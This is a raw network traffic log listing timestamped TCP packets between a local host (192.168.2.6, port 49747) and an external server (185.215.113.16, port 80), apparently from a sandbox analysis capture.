Dec 10, 2024 06:38:28.299892902 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.300041914 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.300177097 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.300920010 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.300997019 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.301167965 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.301955938 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.302067041 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.302109003 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.302987099 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.303102016 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.303390980 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.304011106 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.304124117 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.304158926 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.305027962 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.305145979 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.305186033 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.306083918 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.306189060 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.306247950 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.307102919 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.307271004 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.308144093 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.308201075 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.308234930 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.308440924 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.309179068 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.309276104 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.309504986 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.310255051 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.310336113 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.310375929 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.311266899 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.311434031 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.311470032 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.312269926 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.312366962 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.312405109 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.313281059 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.313393116 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.313468933 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.314308882 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.314359903 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.314402103 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.315500975 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.315587044 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.316401958 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.316457033 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.316498995 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.317425966 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.317483902 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.317523003 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.318443060 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.318489075 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.318546057 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.318895102 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.319469929 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.319590092 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.319642067 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.320593119 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.320679903 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.320719004 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.321564913 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.321744919 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.321960926 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.322566986 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.322688103 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.322730064 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.323604107 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.323733091 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.323884964 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.324630976 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.324747086 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.324785948 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.325666904 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.325769901 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.325810909 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.326704979 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.326813936 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.326857090 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.327729940 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.327855110 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.327894926 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.328759909 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.328833103 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.328885078 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.329803944 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.330002069 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.330044985 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.330830097 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.330928087 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.330967903 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.331842899 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.331962109 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.332004070 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.332890034 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.332998991 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.333034039 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.333918095 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.334028006 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.334079027 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.334914923 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.378197908 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.455398083 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.455452919 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.455517054 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.455934048 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.455950975 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.455998898 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.456937075 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.456996918 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.457043886 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.457946062 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.476857901 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.477026939 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.477375984 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.477480888 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.477514029 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.478424072 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.478511095 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.478526115 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.479425907 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.479772091 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.479847908 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.480015993 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.480777979 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.480945110 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.481010914 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.481859922 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.482057095 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.482121944 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.482856035 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.482985973 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.483052015 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.483890057 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.484108925 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.484181881 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.484930038 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.485052109 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.485120058 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.485970020 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.486085892 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.486150980 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.486985922 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.487097025 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.487598896 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.488035917 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.488147974 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.488214970 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.489064932 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.489272118 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.489337921 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.490096092 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.490211964 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.490262032 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.491092920 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.491174936 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.492122889 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.492187023 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.492228031 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.493257999 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.493269920 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.493309021 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.493333101 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.494317055 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.494400024 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.495002985 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.495271921 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.495392084 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.495440960 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.496284008 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.496378899 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.496422052 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.497298002 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.497376919 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.497416019 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.498328924 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.498452902 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.498522997 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.499363899 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.499524117 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.499670029 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.500410080 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.500430107 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.500468969 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.501404047 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.501528025 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.502448082 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.502564907 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.502576113 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.502614975 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.503489017 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.503505945 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.503551006 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.504523993 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.504698038 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.504762888 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.505538940 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.505655050 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.505732059 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.506570101 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.506691933 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.506737947 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.507591009 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.507731915 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.507782936 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.508661032 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.508749008 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.508796930 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.509675980 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.509816885 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.509865046 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.510713100 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.510831118 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.510890961 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.511737108 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.511842012 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.511888981 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.512762070 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.512932062 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.512979031 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.513787031 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.513884068 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.513931036 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.514839888 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.515002966 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.515048027 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.515877008 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.515996933 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.516057968 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.516905069 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.516932964 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.516974926 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.517915010 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.518053055 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.518099070 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.518944025 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.518961906 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.519013882 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.519962072 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.520086050 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.520129919 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.521003008 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.521116972 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.521209002 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.522025108 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.522131920 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.522175074 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.523058891 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.523178101 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.523227930 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.524116039 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.524199963 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.524255037 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.525104046 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.525208950 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.525254965 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.526190042 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.526308060 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.526372910 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.527175903 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.581367970 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.647659063 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.647747993 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.647811890 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.648174047 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.648294926 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.648348093 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.649219036 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.649337053 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.649807930 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.650230885 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.669114113 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.669178963 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.669188023 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.669586897 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.669651031 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.669673920 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.670727968 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.670787096 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.670914888 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.671626091 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.671670914 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.672007084 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.672064066 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.672118902 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.672996044 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.673156023 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.673209906 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.674037933 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.674129009 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.674190998 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.675050974 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.675163031 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.675209045 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.676084995 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.676246881 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.676295042 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.677118063 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.677233934 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.677280903 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.678200006 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.678268909 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.678316116 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.679188967 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.679301977 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.679637909 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.680226088 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.680327892 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.680380106 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.681236982 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.681292057 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.681337118 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.682280064 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.682390928 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.682440996 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.683307886 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.683439970 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.683484077 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.684329987 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.684437037 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.684497118 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.685374022 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.685425997 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.685472965 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.686394930 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.686522007 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.686567068 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.687417984 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.687521935 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.687566996 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.688535929 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.688622952 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.688664913 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.689476013 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.689594984 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.689656973 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.690540075 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.690639019 CET	80	49747	185.215.113.16	192.168.2.6
